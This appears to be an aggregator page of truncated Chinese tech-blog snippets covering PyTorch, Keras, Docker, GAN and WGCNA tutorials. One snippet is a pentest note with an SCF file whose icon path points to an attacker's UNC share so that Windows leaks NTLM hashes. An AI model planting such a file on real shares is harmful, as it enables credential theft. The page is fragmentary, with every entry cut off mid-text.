L0 pytorch 构建简单网络 本文是L0, 目的是把pytorch构建感知器的程序,仔细剖析理解. import torch from torch import nn torch.__version__ '1.3.0' STEP 1 手工定义全连接层Linear #torch.nn是专门为深度学习设计的模块.torch.nn的核心数据结构是Module #它是一个抽象的概念,#既可以表示神经网络中的某个层(layer), #也可以表示一个包含很多层的神经网络 #class Linear(n…

Docker 构建网络服务后本机不能访问 起因 使用tornado构建了一个服务,测试都没有问题 使用docker构建镜像,使用docker run image_name启动服务 使用浏览器访问 127.0.0.1:xxxx 失败,无法连接 排错 发现访问127的网址肯定是不行的,这简直就是秀智商,你访问本机怎么可能转发到容器中呢-- 想起来docker inspect container_id这个命令,查看了一下容器的IP,拿到IP后用同样的方式访问,发现还是无法连接,这就尴尬了 然后尝试pi…

Tensor Tensor是PyTorch中的重要数据结构,可认为是一个高维数组,Tensor与numpy的ndarrays类似,但Tensor可以使用GPU加速 import torch as t#import A as B,给予A库一个B的别称,帮助记忆 #构建5*3矩阵,只是分配了空间,未初始化 x=t.Tensor(5,3) print(x) print(x.size())#查看x的形状 print(x.size()[0],x.size(1))#查看列的个数,两种写法等价 print(t…

  收集哈希 SCF(Shell命令文件)文件可用于执行一组有限的操作,例如显示Windows桌面或打开Windows资源管理器,这并不是什么新鲜事.然而,一个SCF文件可以用来访问一个特定的UNC路径,允许渗透测试人员构建攻击.下面的代码可以被放置在一个文本文件,然后需要被植入到网络共享. 代码: [Shell] Command=2 IconFile=\\攻击者的IP\share\pentestlab.ico [Taskbar] Command=ToggleDesktop 目标机IP:192.…

全文参考 < 基于 python 的深度学习实战> import numpy as np from keras.datasets import mnist from keras.models import Sequential from keras.layers import Dense, Dropout, Flatten from keras.layers.convolutional import Conv2D, MaxPooling2D (x_train, y_train), (x_tes…

这篇文章更多的是对于混乱的中文资源的梳理,并补充了一些没有提到的重要参数,希望大家不会踩坑. 1. 简介 1.1 背景 WGCNA(weighted gene co-expression network analysis,权重基因共表达网络分析)是一种分析多个样本基因表达模式的分析方法,可将表达模式相似的基因进行聚类,并分析模块与特定性状或表型之间的关联关系,因此在基因组研究中被广泛应用. 相比于只关注差异表达的基因,WGCNA利用数千或近万个变化最大的基因或全部基因的信息识别感兴趣的基因集,并…

简介 在上一篇博客:数据挖掘入门系列教程(十一点五)之CNN网络介绍中,介绍了CNN的工作原理和工作流程,在这一篇博客,将具体的使用代码来说明如何使用keras构建一个CNN网络来对CIFAR-10数据集进行训练. 如果对keras不是很熟悉的话,可以去看一看官方文档.或者看一看我前面的博客:数据挖掘入门系列教程(十一)之keras入门使用以及构建DNN网络识别MNIST,在数据挖掘入门系列教程(十一)这篇博客中使用了keras构建一个DNN网络,并对keras的做了一个入门使用介绍. CIFA…

下面是如何自己构建一个层,分为包含自动反向求导和手动反向求导两种方式,后面会分别构建网络,对比一下结果对不对. ---------------------------------------------------------- 关于Pytorch中的结构层级关系. 最为底层的是torch.relu().torch.tanh().torch.ge()这些函数,这些函数个人猜测就是直接用Cuda写成的,并且封装成了python接口给python上层调用. 部分函数被torch.nn.functio…

from:https://www.sohu.com/a/159976204_717210 GAN 从 2014 年诞生以来发展的是相当火热,比较著名的 GAN 的应用有 Pix2Pix.CycleGAN 等.本篇文章主要是让初学者通过代码了解 GAN 的结构和运作机制,对理论细节不做过多介绍.我们还是采用 MNIST 手写数据集(不得不说这个数据集对于新手来说非常好用)来作为我们的训练数据,我们将构建一个简单的 GAN 来进行手写数字图像的生成. 认识 GAN GAN 主要包括了两个部分,即生成…

一.简化前馈网络LeNet 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import torch as t     class LeNet(t.nn.Module):     def __init__(self):         super(LeNet, self).__init__()         self.features = t.nn.Sequential(  …